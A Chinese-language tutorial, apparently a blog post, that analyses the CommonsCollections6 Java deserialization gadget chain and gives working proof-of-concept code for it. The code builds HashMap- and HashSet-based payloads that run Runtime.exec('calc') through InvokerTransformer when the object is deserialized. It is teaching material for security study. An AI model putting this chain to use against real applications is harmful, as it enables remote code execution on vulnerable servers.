JAVA反序列化深入学习(八):CommonsCollections6
与CC5相似:
- 在 CC5 中使用了
TiedMapEntry#toString
来触发LazyMap#get
- 在 CC6 中是通过
TiedMapEntry#hashCode
来触发LazyMap#get
之前看到了 hashcode 方法也会调用
getValue()
方法然后调用到其中 map 的 get 方法触发 LazyMap,那重点就在于如何在反序列化时触发TiedMapEntry
的hashCode
方法了
JAVA环境
java version "1.8.0_74"
Java(TM) SE Runtime Environment (build 1.8.0_74-b02)
Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)
依赖版本
- Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1
检查依赖配置
确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
资源下载
- maven
- Java8下载
- commons-collections源码
前置知识
HashMap - kick-off
之前在 URLDNS 中,我们发现,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法
不太记得了可以回顾:JAVA反序列化深入学习(二):URLDNS-CSDN博客
但会遇到 URLDNS 中同样面临的问题:
调用链会在 HashMap 的 put 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:
- 类似URLDNS方法二,利用反射调用
putVal
方法写入 key 避免触发 - 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer
- 这样添加的时候不会执行任何恶意动作
- put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中
这样就完成了一个 HashMap 的触发方式
HashMap 的 put 方法可以触发 key 的 hashCode ,那还有没有入口类能触发这个方法了?
于是找到了 CC6 的 HashSet 触发方式
HashSet - kick-off
- HashSet 是一个无序的,不允许有重复元素的集合
- HashSet 本质上就是由 HashMap 实现的
// 构造一个新的空集合
// 具有默认初始容量(16)和负载因子(0.75)
public HashSet() {
map = new HashMap<>();
}
// 构造一个包含指定集合中的元素的新集合
public HashSet(Collection<? extends E> c) {
map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));
addAll(c);
}
- HashSet 中的元素都存放在 HashMap 的 key 上面
- 而 value 中的值都是统一的
// Dummy value to associate with an Object in the backing Map
private static final Object PRESENT = new Object();
- HashSet 跟 HashMap 一样,都是一个存放链表的数组
readObject
在 HashSet 的 readObject
方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
...
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
攻击构造
基于HashMap
首先是结合 LazyMap 和 HashMap 的方式,这里使用了之前在URLDNS方法二中的反射代码,以及同时写了包含 Fake Chain 绕过触发的方式
恶意代码主体
public void CC6WithHashMap() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {
// 初始化 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
Transformer[] transformers = GenTransformerArray();
// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");
hashMap.put(entry, "neolock");
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();
// 反射调用 HashMap 的 putVal 方法
// Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
// for (Method method : m) {
// if ("putVal".equals(method.getName())) {
// method.setAccessible(true);
// method.invoke(hashMap, -1, entry, 0, false, true);
// }
// }
writeObjectToFile(hashMap, fileName);
readFileObject(fileName);
}
Transformer数组生成
protected Transformer[] GenTransformerArray() throws IOException, NoSuchFieldException, IllegalAccessException {
// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
return transformers;
}
比较简单,就是一个缝合
基于HashSet
接下来看一下HashSet 的触发方式
恶意代码主体
public void CC6WithHashSet() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {
// 初始化 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
Transformer[] transformers = GenTransformerArray();
// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");
hashMap.put(entry, "neolock");
// 唯一相对于上一个方法多出来的步骤,套了一层HashSet
HashSet set = new HashSet(hashMap.keySet());
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();
writeObjectToFile(set, fileName);
readFileObject(fileName);
}
Transformer数组生成与之前相同,可以看到我们只是简单的在 HashMap 之外嵌套了一层 HashSet
ysoserial
在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 使用的方式是:
- 多次使用反射向 HashMap 及 HashSet 中写入值
- 兼容了 JDK 7 和 8 中成员变量名发生变化的情况
- 并且是通过向底层 map 中的 节点添加的方式
这种方式或许有点过于冗杂了,不如使用空 Transformer 链反射的方式,大大方方的向 HashMap 或 HashSet 中 push 数据
总结
以上就是 CC6 链分析的全部内容了,最后总结一下
利用说明
- 反序列化 调用 TiedMapEntry 的 toString 方法
- 调用了 LazyMap 的 hashCode 方法
- 触发了后续的 Transformer 恶意执行链
Gadget 总结
- kick-off gadget:
java.util.HashSet#readObject/java.util.HashMap#readObject
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform
- chain gadget:
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
HashSet.readObject()/HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
- Java 反序列化漏洞(二) - Commons Collections | 素十八
- Java反序列化漏洞(八)- CommonsCollections6链